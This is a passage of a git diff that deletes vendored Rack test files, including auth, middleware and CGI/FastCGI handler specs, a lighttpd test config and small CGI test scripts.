expiry if expiry - session = old_session.merge(env['rack.session']) - @pool[sid] = session - session.each do |k,v| - next unless old_session.has_key?(k) and v != old_session[k] - warn "session value assignment collision at #{k}: #{old_session[k]} <- #{v}" - end if $DEBUG and env['rack.multithread'] - end - return true - rescue - warn "#{self} is unable to find server." - warn "#{env['rack.session'].inspect} has been lost." - warn $!.inspect - return false - end - end - end -end diff --git a/vendor/plugins/rack/test/cgi/lighttpd.conf b/vendor/plugins/rack/test/cgi/lighttpd.conf deleted file mode 100644 index 889726c6..00000000 --- a/vendor/plugins/rack/test/cgi/lighttpd.conf +++ /dev/null @@ -1,20 +0,0 @@ -server.modules = ("mod_fastcgi", "mod_cgi") -server.document-root = "." -server.errorlog = "lighttpd.errors" -server.port = 9203 - -server.event-handler = "select" - -cgi.assign = ("/test" => "", -# ".ru" => "" - ) - -fastcgi.server = ("test.fcgi" => ("localhost" => - ("min-procs" => 1, - "socket" => "/tmp/rack-test-fcgi", - "bin-path" => "test.fcgi")), - "test.ru" => ("localhost" => - ("min-procs" => 1, - "socket" => "/tmp/rack-test-ru-fcgi", - "bin-path" => "test.ru")), - ) diff --git a/vendor/plugins/rack/test/cgi/test b/vendor/plugins/rack/test/cgi/test deleted file mode 100755 index e4837a4e..00000000 --- a/vendor/plugins/rack/test/cgi/test +++ /dev/null @@ -1,9 +0,0 @@ -#!/usr/bin/env ruby -# -*- ruby -*- - -$: << File.join(File.dirname(__FILE__), "..", "..", "lib") - -require 'rack' -require '../testrequest' - -Rack::Handler::CGI.run(Rack::Lint.new(TestRequest.new)) diff --git a/vendor/plugins/rack/test/cgi/test.fcgi b/vendor/plugins/rack/test/cgi/test.fcgi deleted file mode 100755 index 5e104fc9..00000000 --- a/vendor/plugins/rack/test/cgi/test.fcgi +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env ruby -# -*- ruby -*- - -$:.unshift '../../lib' -require 'rack' -require '../testrequest' - -Rack::Handler::FastCGI.run(Rack::Lint.new(TestRequest.new)) diff --git a/vendor/plugins/rack/test/cgi/test.ru b/vendor/plugins/rack/test/cgi/test.ru deleted file mode 100755 index 4054b886..00000000 --- a/vendor/plugins/rack/test/cgi/test.ru +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/env ../../bin/rackup -#\ -E deployment -I ../../lib -# -*- ruby -*- - -require '../testrequest' - -run TestRequest.new diff --git a/vendor/plugins/rack/test/spec_rack_auth_basic.rb b/vendor/plugins/rack/test/spec_rack_auth_basic.rb deleted file mode 100644 index 3a76155d..00000000 --- a/vendor/plugins/rack/test/spec_rack_auth_basic.rb +++ /dev/null @@ -1,69 +0,0 @@ -require 'test/spec' - -require 'rack/auth/basic' -require 'rack/mock' - -context 'Rack::Auth::Basic' do - - def realm - 'WallysWorld' - end - - def unprotected_app - lambda { |env| [ 200, {'Content-Type' => 'text/plain'}, ["Hi #{env['REMOTE_USER']}"] ] } - end - - def protected_app - app = Rack::Auth::Basic.new(unprotected_app) { |username, password| 'Boss' == username } - app.realm = realm - app - end - - setup do - @request = Rack::MockRequest.new(protected_app) - end - - def request_with_basic_auth(username, password, &block) - request 'HTTP_AUTHORIZATION' => 'Basic ' + ["#{username}:#{password}"].pack("m*"), &block - end - - def request(headers = {}) - yield @request.get('/', headers) - end - - def assert_basic_auth_challenge(response) - response.should.be.a.client_error - response.status.should.equal 401 - response.should.include 'WWW-Authenticate' - response.headers['WWW-Authenticate'].should =~ /Basic realm="/ - response.body.should.be.empty - end - - specify 'should challenge correctly when no credentials are specified' do - request do |response| - assert_basic_auth_challenge response - end - end - - specify 'should rechallenge if incorrect credentials are specified' do - request_with_basic_auth 'joe', 'password' do |response| - assert_basic_auth_challenge response - end - end - - specify 'should return application output if correct credentials are specified' do - request_with_basic_auth 'Boss', 'password' do |response| - response.status.should.equal 200 - response.body.to_s.should.equal 'Hi Boss' - end - end - - specify 'should return 400 Bad Request if different auth scheme used' do - request 'HTTP_AUTHORIZATION' => 'Digest params' do |response| - response.should.be.a.client_error - response.status.should.equal 400 - response.should.not.include 'WWW-Authenticate' - end - end - -end diff --git a/vendor/plugins/rack/test/spec_rack_auth_digest.rb b/vendor/plugins/rack/test/spec_rack_auth_digest.rb deleted file mode 100644 index 67fb0e53..00000000 --- a/vendor/plugins/rack/test/spec_rack_auth_digest.rb +++ /dev/null @@ -1,169 +0,0 @@ -require 'test/spec' - -require 'rack/auth/digest/md5' -require 'rack/mock' - -context 'Rack::Auth::Digest::MD5' do - - def realm - 'WallysWorld' - end - - def unprotected_app - lambda do |env| - [ 200, {'Content-Type' => 'text/plain'}, ["Hi #{env['REMOTE_USER']}"] ] - end - end - - def protected_app - app = Rack::Auth::Digest::MD5.new(unprotected_app) do |username| - { 'Alice' => 'correct-password' }[username] - end - app.realm = realm - app.opaque = 'this-should-be-secret' - app - end - - def protected_app_with_hashed_passwords - app = Rack::Auth::Digest::MD5.new(unprotected_app) do |username| - username == 'Alice' ? Digest::MD5.hexdigest("Alice:#{realm}:correct-password") : nil - end - app.realm = realm - app.opaque = 'this-should-be-secret' - app.passwords_hashed = true - app - end - - setup do - @request = Rack::MockRequest.new(protected_app) - end - - def request(path, headers = {}, &block) - response = @request.get(path, headers) - block.call(response) if block - return response - end - - class MockDigestRequest - def initialize(params) - @params = params - end - def method_missing(sym) - if @params.has_key? k = sym.to_s - return @params[k] - end - super - end - def method - 'GET' - end - def response(password) - Rack::Auth::Digest::MD5.new(nil).send :digest, self, password - end - end - - def request_with_digest_auth(path, username, password, options = {}, &block) - response = request('/') - - return response unless response.status == 401 - - if wait = options.delete(:wait) - sleep wait - end - - challenge = response['WWW-Authenticate'].split(' ', 2).last - - params = Rack::Auth::Digest::Params.parse(challenge) - - params['username'] = username - params['nc'] = '00000001' - params['cnonce'] = 'nonsensenonce' - params['uri'] = path - - params.update options - - params['response'] = MockDigestRequest.new(params).response(password) - - request(path, { 'HTTP_AUTHORIZATION' => "Digest #{params}" }, &block) - end - - def assert_digest_auth_challenge(response) - response.should.be.a.client_error - response.status.should.equal 401 - response.should.include 'WWW-Authenticate' - response.headers['WWW-Authenticate'].should =~ /^Digest / - response.body.should.be.empty - end - - def assert_bad_request(response) - response.should.be.a.client_error - response.status.should.equal 400 - response.should.not.include 'WWW-Authenticate' - end - - specify 'should challenge when no credentials are specified' do - request '/' do |response| - assert_digest_auth_challenge response - end - end - - specify 'should return application output if correct credentials given' do - request_with_digest_auth '/', 'Alice', 'correct-password' do |response| - response.status.should.equal 200 - response.body.to_s.should.equal 'Hi Alice' - end - end - - specify 'should return application output if correct credentials given (hashed passwords)' do - @request = Rack::MockRequest.new(protected_app_with_hashed_passwords) - - request_with_digest_auth '/', 'Alice', 'correct-password' do |response| - response.status.should.equal 200 - response.body.to_s.should.equal 'Hi Alice' - end - end - - specify 'should rechallenge if incorrect username given' do - request_with_digest_auth '/', 'Bob', 'correct-password' do |response| - assert_digest_auth_challenge response - end - end - - specify 'should rechallenge if incorrect password given' do - request_with_digest_auth '/', 'Alice', 'wrong-password' do |response| - assert_digest_auth_challenge response - end - end - - specify 'should rechallenge with stale parameter if nonce is stale' do - begin - Rack::Auth::Digest::Nonce.time_limit = 1 - - request_with_digest_auth '/', 'Alice', 'correct-password', :wait => 2 do |response| - assert_digest_auth_challenge response - response.headers['WWW-Authenticate'].should =~ /\bstale=true\b/ - end - ensure - Rack::Auth::Digest::Nonce.time_limit = nil - end - end - - specify 'should return 400 Bad Request if incorrect qop given' do - request_with_digest_auth '/', 'Alice', 'correct-password', 'qop' => 'auth-int' do |response| - assert_bad_request response - end - end - - specify 'should return 400 Bad Request if incorrect uri given' do - request_with_digest_auth '/', 'Alice', 'correct-password', 'uri' => '/foo' do |response| - assert_bad_request response - end - end - - specify 'should return 400 Bad Request if different auth scheme used' do - request '/', 'HTTP_AUTHORIZATION' => 'Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==' do |response| - assert_bad_request response - end - end - -end diff --git a/vendor/plugins/rack/test/spec_rack_auth_openid.rb b/vendor/plugins/rack/test/spec_rack_auth_openid.rb deleted file mode 100644 index fd890fd7..00000000 --- a/vendor/plugins/rack/test/spec_rack_auth_openid.rb +++ /dev/null @@ -1,137 +0,0 @@ -require 'test/spec' - -begin -# requires the ruby-openid gem -require 'rack/auth/openid' - -context "Rack::Auth::OpenID" do - OID = Rack::Auth::OpenID - realm = 'http://path/arf' - ruri = %w{arf arf/blargh} - auri = ruri.map{|u|'/'+u} - furi = auri.map{|u|'http://path'+u} - - specify 'realm uri should be absolute and have a path' do - lambda{OID.new('/path')}. - should.raise ArgumentError - lambda{OID.new('http://path')}. - should.raise ArgumentError - lambda{OID.new('http://path/')}. - should.not.raise - lambda{OID.new('http://path/arf')}. - should.not.raise - end - - specify 'uri options should be absolute' do - [:login_good, :login_fail, :login_quit, :return_to].each do |param| - ruri.each do |uri| - lambda{OID.new(realm, {param=>uri})}. - should.raise ArgumentError - end - auri.each do |uri| - lambda{OID.new(realm, {param=>uri})}. - should.raise ArgumentError - end - furi.each do |uri| - lambda{OID.new(realm, {param=>uri})}. - should.not.raise - end - end - end - - specify 'return_to should be absolute and be under the realm' do - lambda{OID.new(realm, {:return_to => 'http://path'})}. - should.raise ArgumentError - lambda{OID.new(realm, {:return_to => 'http://path/'})}. - should.raise ArgumentError - lambda{OID.new(realm, {:return_to => 'http://path/arf'})}. - should.not.raise - lambda{OID.new(realm, {:return_to => 'http://path/arf/'})}. - should.not.raise - lambda{OID.new(realm, {:return_to => 'http://path/arf/blargh'})}. - should.not.raise - end - - specify 'extensions should be a module' do - ext = Object.new - lambda{OID.new(realm).add_extension(ext)}. - should.raise(TypeError). - message.should.match(/not a module/) - ext2 = Module.new - lambda{OID.new(realm).add_extension(ext2)}. - should.raise(ArgumentError). - message.should.not.match(/not a module/) - end - - specify 'extensions should have required constants defined' do - ext = Module.new - lambda{OID.new(realm).add_extension(ext)}. - should.raise(ArgumentError). - message.should.match(/missing/) - ext::Request = nil - lambda{OID.new(realm).add_extension(ext)}. - should.raise(ArgumentError). - message.should.match(/missing/). - should.not.match(/Request/) - ext::Response = nil - lambda{OID.new(realm).add_extension(ext)}. - should.raise(ArgumentError). - message.should.match(/missing/). - should.not.match(/Response/) - ext::NS_URI = nil - lambda{OID.new(realm).add_extension(ext)}. - should.raise(TypeError). - message.should.not.match(/missing/) - end - - specify 'extensions should have Request and Response defined and inherit from OpenID::Extension' do -$-w, w = nil, $-w # yuck - ext = Module.new - ext::Request = nil - ext::Response = nil - ext::NS_URI = nil - lambda{OID.new(realm).add_extension(ext)}. - should.raise(TypeError). - message.should.match(/not a class/) - ext::Request = Class.new() - lambda{OID.new(realm).add_extension(ext)}. - should.raise(TypeError). - message.should.match(/not a class/) - ext::Response = Class.new() - lambda{OID.new(realm).add_extension(ext)}. - should.raise(ArgumentError). - message.should.match(/not a decendant/) - ext::Request = Class.new(::OpenID::Extension) - lambda{OID.new(realm).add_extension(ext)}. - should.raise(ArgumentError). - message.should.match(/not a decendant/) - ext::Response = Class.new(::OpenID::Extension) - lambda{OID.new(realm).add_extension(ext)}. - should.raise(TypeError). - message.should.match(/NS_URI/) -$-w = w - end - - specify 'extensions should have NS_URI defined and be a string of an absolute http uri' do -$-w, w = nil, $-w # yuck - ext = Module.new - ext::Request = Class.new(::OpenID::Extension) - ext::Response = Class.new(::OpenID::Extension) - ext::NS_URI = nil - lambda{OID.new(realm).add_extension(ext)}. - should.raise(TypeError). - message.should.match(/not a string/) - ext::NS_URI = 'openid.net' - lambda{OID.new(realm).add_extension(ext)}. - should.raise(ArgumentError). - message.should.match(/not an http uri/) - ext::NS_URI = 'http://openid.net' - lambda{OID.new(realm).add_extension(ext)}. - should.not.raise -$-w = w - end -end - -rescue LoadError - $stderr.puts "Skipping Rack::Auth::OpenID tests (ruby-openid 2 is required). `gem install ruby-openid` and try again." -end diff --git a/vendor/plugins/rack/test/spec_rack_builder.rb b/vendor/plugins/rack/test/spec_rack_builder.rb deleted file mode 100644 index 9739be6a..00000000 --- a/vendor/plugins/rack/test/spec_rack_builder.rb +++ /dev/null @@ -1,84 +0,0 @@ -require 'test/spec' - -require 'rack/builder' -require 'rack/mock' -require 'rack/showexceptions' -require 'rack/auth/basic' - -context "Rack::Builder" do - specify "chains apps by default" do - app = Rack::Builder.new do - use Rack::ShowExceptions - run lambda { |env| raise "bzzzt" } - end.to_app - - Rack::MockRequest.new(app).get("/").should.be.server_error - Rack::MockRequest.new(app).get("/").should.be.server_error - Rack::MockRequest.new(app).get("/").should.be.server_error - end - - specify "has implicit #to_app" do - app = Rack::Builder.new do - use Rack::ShowExceptions - run lambda { |env| raise "bzzzt" } - end - - Rack::MockRequest.new(app).get("/").should.be.server_error - Rack::MockRequest.new(app).get("/").should.be.server_error - Rack::MockRequest.new(app).get("/").should.be.server_error - end - - specify "supports blocks on use" do - app = Rack::Builder.new do - use Rack::ShowExceptions - use Rack::Auth::Basic do |username, password| - 'secret' == password - end - - run lambda { |env| [200, {}, 'Hi Boss'] } - end - - response = Rack::MockRequest.new(app).get("/") - response.should.be.client_error - response.status.should.equal 401 - - # with auth... - response = Rack::MockRequest.new(app).get("/", - 'HTTP_AUTHORIZATION' => 'Basic ' + ["joe:secret"].pack("m*")) - response.status.should.equal 200 - response.body.to_s.should.equal 'Hi Boss' - end - - specify "has explicit #to_app" do - app = Rack::Builder.app do - use Rack::ShowExceptions - run lambda { |env| raise "bzzzt" } - end - - Rack::MockRequest.new(app).get("/").should.be.server_error - Rack::MockRequest.new(app).get("/").should.be.server_error - Rack::MockRequest.new(app).get("/").should.be.server_error - end - - specify "apps are initialized once" do - app = Rack::Builder.new do - class AppClass - def initialize - @called = 0 - end - def call(env) - raise "bzzzt" if @called > 0 - @called += 1 - [200, {'Content-Type' => 'text/plain'}, 'OK'] - end - end - - use Rack::ShowExceptions - run AppClass.new - end - - Rack::MockRequest.new(app).get("/").status.should.equal 200 - Rack::MockRequest.new(app).get("/").should.be.server_error - end - -end diff --git a/vendor/plugins/rack/test/spec_rack_camping.rb b/vendor/plugins/rack/test/spec_rack_camping.rb deleted file mode 100644 index bed11710..00000000 --- a/vendor/plugins/rack/test/spec_rack_camping.rb +++ /dev/null @@ -1,51 +0,0 @@ -require 'test/spec' -require 'stringio' -require 'uri' - -begin - require 'rack/mock' - - $-w, w = nil, $-w # yuck - require 'camping' - require 'rack/adapter/camping' - - Camping.goes :CampApp - module CampApp - module Controllers - class HW < R('/') - def get - @headers["X-Served-By"] = URI("http://rack.rubyforge.org") - "Camping works!" - end - - def post - "Data: #{input.foo}" - end - end - end - end - $-w = w - - context "Rack::Adapter::Camping" do - specify "works with GET" do - res = Rack::MockRequest.new(Rack::Adapter::Camping.new(CampApp)). - get("/") - - res.should.be.ok - res["Content-Type"].should.equal "text/html" - res["X-Served-By"].should.equal "http://rack.rubyforge.org" - - res.body.should.equal "Camping works!" - end - - specify "works with POST" do - res = Rack::MockRequest.new(Rack::Adapter::Camping.new(CampApp)). - post("/", :input => "foo=bar") - - res.should.be.ok - res.body.should.equal "Data: bar" - end - end -rescue LoadError - $stderr.puts "Skipping Rack::Adapter::Camping tests (Camping is required). `gem install camping` and try again." -end diff --git a/vendor/plugins/rack/test/spec_rack_cascade.rb b/vendor/plugins/rack/test/spec_rack_cascade.rb deleted file mode 100644 index 3c0f3be3..00000000 --- a/vendor/plugins/rack/test/spec_rack_cascade.rb +++ /dev/null @@ -1,50 +0,0 @@ -require 'test/spec' - -require 'rack/cascade' -require 'rack/mock' - -require 'rack/urlmap' -require 'rack/file' - -context "Rack::Cascade" do - docroot = File.expand_path(File.dirname(__FILE__)) - app1 = Rack::File.new(docroot) - - app2 = Rack::URLMap.new("/crash" => lambda { |env| raise "boom" }) - - app3 = Rack::URLMap.new("/foo" => lambda { |env| - [200, { "Content-Type" => "text/plain"}, [""]]}) - - specify "should dispatch onward on 404 by default" do - cascade = Rack::Cascade.new([app1, app2, app3]) - Rack::MockRequest.new(cascade).get("/cgi/test").should.be.ok - Rack::MockRequest.new(cascade).get("/foo").should.be.ok - Rack::MockRequest.new(cascade).get("/toobad").should.be.not_found - Rack::MockRequest.new(cascade).get("/cgi/../bla").should.be.forbidden - end - - specify "should dispatch onward on whatever is passed" do - cascade = Rack::Cascade.new([app1, app2, app3], [404, 403]) - Rack::MockRequest.new(cascade).get("/cgi/../bla").should.be.not_found - end - - specify "should fail if empty" do - lambda { Rack::MockRequest.new(Rack::Cascade.new([])).get("/") }. - should.raise(ArgumentError) - end - - specify "should append new app" do - cascade = Rack::Cascade.new([], [404, 403]) - lambda { Rack::MockRequest.new(cascade).get('/cgi/test') }. - should.raise(ArgumentError) - cascade << app2 - Rack::MockRequest.new(cascade).get('/cgi/test').should.be.not_found - Rack::MockRequest.new(cascade).get('/cgi/../bla').should.be.not_found - cascade << app1 - Rack::MockRequest.new(cascade).get('/cgi/test').should.be.ok - Rack::MockRequest.new(cascade).get('/cgi/../bla').should.be.forbidden - Rack::MockRequest.new(cascade).get('/foo').should.be.not_found - cascade << app3 - Rack::MockRequest.new(cascade).get('/foo').should.be.ok - end -end diff --git a/vendor/plugins/rack/test/spec_rack_cgi.rb b/vendor/plugins/rack/test/spec_rack_cgi.rb deleted file mode 100644 index 331f9886..00000000 --- a/vendor/plugins/rack/test/spec_rack_cgi.rb +++ /dev/null @@ -1,89 +0,0 @@ -require 'test/spec' -require 'testrequest' - -context "Rack::Handler::CGI" do - include TestRequest::Helpers - - setup do - @host = '0.0.0.0' - @port = 9203 - end - - # Keep this first. - specify "startup" do - $pid = fork { - Dir.chdir(File.join(File.dirname(__FILE__), "..", "test", "cgi")) - exec "lighttpd -D -f lighttpd.conf" - } - end - - specify "should respond" do - sleep 1 - lambda { - GET("/test") - }.should.not.raise - end - - specify "should be a lighttpd" do - GET("/test") - status.should.be 200 - response["SERVER_SOFTWARE"].should =~ /lighttpd/ - response["HTTP_VERSION"].should.equal "HTTP/1.1" - response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" - response["SERVER_PORT"].should.equal @port.to_s - response["SERVER_NAME"].should =~ @host - end - - specify "should have rack headers" do - GET("/test") - response["rack.version"].should.equal [0,1] - response["rack.multithread"].should.be false - response["rack.multiprocess"].should.be true - response["rack.run_once"].should.be true - end - - specify "should have CGI headers on GET" do - GET("/test") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.be.nil - response["QUERY_STRING"].should.equal "" - response["test.postdata"].should.equal "" - - GET("/test/foo?quux=1") - response["REQUEST_METHOD"].should.equal "GET" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/" - response["PATH_INFO"].should.equal "/foo" - response["QUERY_STRING"].should.equal "quux=1" - end - - specify "should have CGI headers on POST" do - POST("/test", {"rack-form-data" => "23"}, {'X-test-header' => '42'}) - status.should.equal 200 - response["REQUEST_METHOD"].should.equal "POST" - response["SCRIPT_NAME"].should.equal "/test" - response["REQUEST_PATH"].should.equal "/" - response["QUERY_STRING"].should.equal "" - response["HTTP_X_TEST_HEADER"].should.equal "42" - response["test.postdata"].should.equal "rack-form-data=23" - end - - specify "should support HTTP auth" do - GET("/test", {:user => "ruth", :passwd => "secret"}) - response["HTTP_AUTHORIZATION"].should.equal "Basic cnV0aDpzZWNyZXQ=" - end - - specify "should set status" do - GET("/test?secret") - status.should.equal 403 - response["rack.url_scheme"].should.equal "http" - end - - # Keep this last. - specify "shutdown" do - Process.kill 15, $pid - Process.wait($pid).should.equal $pid - end -end diff --git a/vendor/plugins/rack/test/spec_rack_commonlogger.rb b/vendor/plugins/rack/test/spec_rack_commonlogger.rb deleted file mode 100644 index ba03b78a..00000000 --- a/vendor/plugins/rack/test/spec_rack_commonlogger.rb +++ /dev/null @@ -1,32 +0,0 @@ -require 'test/spec' -require 'stringio' - -require 'rack/commonlogger' -require 'rack/lobster' -require 'rack/mock' - -context "Rack::CommonLogger" do - app = lambda { |env| - [200, - {"Content-Type" => "text/html"}, - ["foo"]]} - - specify "should log to rack.errors by default" do - log = StringIO.new - res = Rack::MockRequest.new(Rack::CommonLogger.new(app)).get("/") - - res.errors.should.not.be.empty - res.errors.should =~ /GET / - res.errors.should =~ / 200 / # status - res.errors.should =~ / 3 / # length - end - - specify "should log to anything with <<" do - log = "" - res = Rack::MockRequest.new(Rack::CommonLogger.new(app, log)).get("/") - - log.should =~ /GET / - log.should =~ / 200 / # status - log.should =~ / 3 / # length - end -end diff --git a/vendor/plugins/rack/test/spec_rack_conditionalget.rb b/vendor/plugins/rack/test/spec_rack_conditionalget.rb deleted file mode 100644 index 19649341..00000000 --- a/vendor/plugins/rack/test/spec_rack_conditionalget.rb +++ /dev/null @@ -1,41 +0,0 @@ -require 'test/spec' -require 'time' - -require 'rack/mock' -require 'rack/conditionalget' - -context "Rack::ConditionalGet" do - specify "should set a 304 status and truncate body when If-Modified-Since hits" do - timestamp = Time.now.httpdate - app = Rack::ConditionalGet.new(lambda { |env| - [200, {'Last-Modified'=>timestamp}, 'TEST'] }) - - response = Rack::MockRequest.new(app). - get("/", 'HTTP_IF_MODIFIED_SINCE' => timestamp) - - response.status.should.be == 304 - response.body.should.be.empty - end - - specify "should set a 304 status and truncate body when If-None-Match hits" do - app = Rack::ConditionalGet.new(lambda { |env| - [200, {'Etag'=>'1234'}, 'TEST'] }) - - response = Rack::MockRequest.new(app). - get("/", 'HTTP_IF_NONE_MATCH' => '1234') - - response.status.should.be == 304 - response.body.should.be.empty - end - - specify "should not affect non-GET/HEAD requests" do - app = Rack::ConditionalGet.new(lambda { |env| - [200, {'Etag'=>'1234'}, 'TEST'] }) - - response = Rack::MockRequest.new(app). - post("/", 'HTTP_IF_NONE_MATCH' => '1234') - - response.status.should.be == 200 - response.body.should.be == 'TEST' - end -end diff --git a/vendor/plugins/rack/test/spec_rack_content_length.rb b/vendor/plugins/rack/test/spec_rack_content_length.rb deleted file mode 100644 index 7db9345f..00000000 --- a/vendor/plugins/rack/test/spec_rack_content_length.rb +++ /dev/null @@ -1,43 +0,0 @@ -require 'rack/mock' -require 'rack/content_length' - -context "Rack::ContentLength" do - specify "sets Content-Length on String bodies if none is set" do - app = lambda { |env| [200, {'Content-Type' => 'text/plain'}, "Hello, World!"] } - response = Rack::ContentLength.new(app).call({}) - response[1]['Content-Length'].should.equal '13' - end - - specify "sets Content-Length on Array bodies if none is set" do - app = lambda { |env| [200, {'Content-Type' => 'text/plain'}, ["Hello, World!"]] } - response = Rack::ContentLength.new(app).call({}) - response[1]['Content-Length'].should.equal '13' - end - - specify "does not set Content-Length on variable length bodies" do - body = lambda { "Hello World!" } - def body.each ; yield call ; end - - app = lambda { |env| [200, {'Content-Type' => 'text/plain'}, body] } - response = Rack::ContentLength.new(app).call({}) - response[1]['Content-Length'].should.be.nil - end - - specify "does not change Content-Length if it is already set" do - app = lambda { |env| [200, {'Content-Type' => 'text/plain', 'Content-Length' => '1'}, "Hello, World!"] } - response = Rack::ContentLength.new(app).call({}) - response[1]['Content-Length'].should.equal '1' - end - - specify "does not set Content-Length on 304 responses" do - app = lambda { |env| [304, {'Content-Type' => 'text/plain'}, []] } - response = Rack::ContentLength.new(app).call({}) - response[1]['Content-Length'].should.equal nil - end - - specify "does not set Content-Length when Transfer-Encoding is chunked" do - app = lambda { |env| [200, {'Transfer-Encoding' => 'chunked'}, []] } - response = Rack::ContentLength.new(app).call({}) - response[1]['Content-Length'].should.equal nil - end -end diff --git a/vendor/plugins/rack/test/spec_rack_deflater.rb b/vendor/plugins/rack/test/spec_rack_deflater.rb deleted file mode 100644 index 97be5fa7..00000000 --- a/vendor/plugins/rack/test/spec_rack_deflater.rb +++ /dev/null @@ -1,105 +0,0 @@ -require 'test/spec' - -require 'rack/mock' -require 'rack/deflater' -require 'stringio' -require 'time' # for Time#httpdate - -context "Rack::Deflater" do - def build_response(status, body, accept_encoding, headers = {}) - app = lambda { |env| [status, {}, body] } - request = Rack::MockRequest.env_for("", headers.merge("HTTP_ACCEPT_ENCODING" => accept_encoding)) - response = Rack::Deflater.new(app).call(request) - - return response - end - - specify "should be able to deflate bodies that respond to each" do - body = Object.new - class << body; def each; yield("foo"); yield("bar"); end; end - - response = build_response(200, body, "deflate") - - response[0].should.equal(200) - response[1].should.equal({ "Content-Encoding" => "deflate", "Vary" => "Accept-Encoding" }) - response[2].to_s.should.equal("K\313\317OJ,\002\000") - end - - # TODO: This is really just a special case of the above... - specify "should be able to deflate String bodies" do - response = build_response(200, "Hello world!", "deflate") - - response[0].should.equal(200) - response[1].should.equal({ "Content-Encoding" => "deflate", "Vary" => "Accept-Encoding" }) - response[2].to_s.should.equal("\363H\315\311\311W(\317/\312IQ\004\000") - end - - specify "should be able to gzip bodies that respond to each" do - body = Object.new - class << body; def each; yield("foo"); yield("bar"); end; end - - response = build_response(200, body, "gzip") - - response[0].should.equal(200) - response[1].should.equal({ "Content-Encoding" => "gzip", "Vary" => "Accept-Encoding" }) - - io = StringIO.new(response[2].to_s) - gz = Zlib::GzipReader.new(io) - gz.read.should.equal("foobar") - gz.close - end - - specify "should be able to fallback to no deflation" do - response = build_response(200, "Hello world!", "superzip") - - response[0].should.equal(200) - response[1].should.equal({ "Vary" => "Accept-Encoding" }) - response[2].should.equal("Hello world!") - end - - specify "should be able to skip when there is no response entity body" do - response = build_response(304, [], "gzip") - - response[0].should.equal(304) - response[1].should.equal({}) - response[2].should.equal([]) - end - - specify "should handle the lack of an acceptable encoding" do - response1 = build_response(200, "Hello world!", "identity;q=0", "PATH_INFO" => "/") - response1[0].should.equal(406) - response1[1].should.equal({"Content-Type" => "text/plain"}) - response1[2].should.equal(["An acceptable encoding for the requested resource / could not be found."]) - - response2 = build_response(200, "Hello world!", "identity;q=0", "SCRIPT_NAME" => "/foo", "PATH_INFO" => "/bar") - response2[0].should.equal(406) - response2[1].should.equal({"Content-Type" => "text/plain"}) - response2[2].should.equal(["An acceptable encoding for the requested resource /foo/bar could not be found."]) - end - - specify "should handle gzip response with Last-Modified header" do - last_modified = Time.now.httpdate - - app = lambda { |env| [200, { "Last-Modified" => last_modified }, "Hello World!"] } - request = Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => "gzip") - response = Rack::Deflater.new(app).call(request) - - response[0].should.equal(200) - response[1].should.equal({ "Content-Encoding" => "gzip", "Vary" => "Accept-Encoding", "Last-Modified" => last_modified }) - - io = StringIO.new(response[2].to_s) - gz = Zlib::GzipReader.new(io) - gz.read.should.equal("Hello World!") - gz.close - end - - specify "should do nothing when no-transform Cache-Control directive present" do - app = lambda { |env| [200, {'Cache-Control' => 'no-transform'}, ['Hello World!']] } - request = Rack::MockRequest.env_for("", "HTTP_ACCEPT_ENCODING" => "gzip") - response = Rack::Deflater.new(app).call(request) - - response[0].should.equal(200) - response[1].should.not.include "Content-Encoding" - response[2].join.should.equal("Hello World!") - end -end diff --git a/vendor/plugins/rack/test/spec_rack_directory.rb b/vendor/plugins/rack/test/spec_rack_directory.rb deleted file mode 100644 index f9828f5b..00000000 --- a/vendor/plugins/rack/test/spec_rack_directory.rb +++ /dev/null @@ -1,61 +0,0 @@ -require 'test/spec' - -require 'rack/directory' -require 'rack/lint' - -require 'rack/mock' - -context "Rack::Directory" do - DOCROOT = File.expand_path(File.dirname(__FILE__)) - FILE_CATCH = proc{|env| [200, {'Content-Type'=>'text/plain', "Content-Length" => "7"}, 'passed!'] } - app = Rack::Directory.new DOCROOT, FILE_CATCH - - specify "serves directory indices" do - res = Rack::MockRequest.new(Rack::Lint.new(app)). - get("/cgi/") - - res.should.be.ok - res.should =~ // - end - - specify "passes to app if file found" do - res = Rack::MockRequest.new(Rack::Lint.new(app)). - get("/cgi/test") - - res.should.be.ok - res.should =~ /passed!/ - end - - specify "serves uri with URL encoded filenames" do - res = Rack::MockRequest.new(Rack::Lint.new(app)). - get("/%63%67%69/") # "/cgi/test" - - res.should.be.ok - res.should =~ // - - res = Rack::MockRequest.new(Rack::Lint.new(app)). - get("/cgi/%74%65%73%74") # "/cgi/test" - - res.should.be.ok - res.should =~ /passed!/ - end - - specify "does not allow directory traversal" do - res = Rack::MockRequest.new(Rack::Lint.new(app)). - get("/cgi/../test") - - res.should.be.forbidden - - res = Rack::MockRequest.new(Rack::Lint.new(app)). - get("/cgi/%2E%2E/test") - - res.should.be.forbidden - end - - specify "404s if it can't find the file" do - res = Rack::MockRequest.new(Rack::Lint.new(app)). - get("/cgi/blubb") - - res.should.be.not_found - end -end diff --git a/vendor/plugins/rack/test/spec_rack_fastcgi.rb b/vendor/plugins/rack/test/spec_rack_fastcgi.rb deleted file mode 100644 index 66ab4f79..00000000 --- a/vendor/plugins/rack/test/spec_rack_fastcgi.rb +++ /dev/null @@ -1,89 +0,0 @@ -require 'test/spec' -require 'testrequest' - -context "Rack::Handler::FastCGI" do - include TestRequest::Helpers - - setup do - @host = '0.0.0.0' - @port = 9203 - end - - # Keep this first. - specify "startup" do - $pid = fork { - Dir.chdir(File.join(File.dirname(__FILE__), "..", "test", "cgi")) - exec "lighttpd -D -f lighttpd.conf" - } - end - - specify "should respond" do - sleep 1 - lambda { - GET("/test.fcgi") - }.should.not.raise - end - - specify "should be a lighttpd" do - GET("/test.fcgi") - status.should.be 200 - response["SERVER_SOFTWARE"].should =~ /lighttpd/ - response["HTTP_VERSION"].should.equal "HTTP/1.1" - response["SERVER_PROTOCOL"].should.equal "HTTP/1.1" - response["SERVER_PORT"].should.equal @port.to_s - response["SERVER_NAME"].should =~ @host - end - - specify "should have rack headers" do - GET("/test.fcgi") - response["rack.version"].should.equal [0,1] - response["rack.multithread"].should.be false - response["rack.multiprocess"].should.be true - 